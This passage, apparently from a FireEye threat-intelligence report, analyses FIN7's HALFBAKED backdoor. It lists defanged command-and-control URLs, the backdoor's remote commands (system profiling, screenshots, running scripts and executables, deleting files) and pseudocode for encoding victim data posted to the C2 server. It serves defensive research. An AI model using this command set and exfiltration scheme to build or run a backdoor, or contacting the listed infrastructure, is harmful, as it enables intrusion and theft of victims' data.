This version of HALFBAKED connects to the following C2 server: hxxp://198[.]100.119.6:80/cd hxxp://198[.]100.119.6:443/cd hxxp://198[.]100.119.6:8080/cd This version of HALFBAKED listens for the following commands from the C2 server:  info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI queries processList: Send list of process running screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1) runvbs: Executes a VB script runexe: Executes EXE file runps1: Executes PowerShell script delete: Delete the specified file update: Update the specified file  All communication between the backdoor and attacker C2 are encoded using the following technique, represented in pseudo code: Function send_data(data)                 random_string = custom_function_to_generate_random_string()                 encoded_data = URLEncode(SimpleEncrypt(data))                 post_data("POST”, random_string & "=" & encoded_data, Hard_coded_c2_url, Create_Random_Url(class_id)) The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information based on our investigations of a variety of topics discussed in this post, including FIN7 and the HALFBAKED backdoor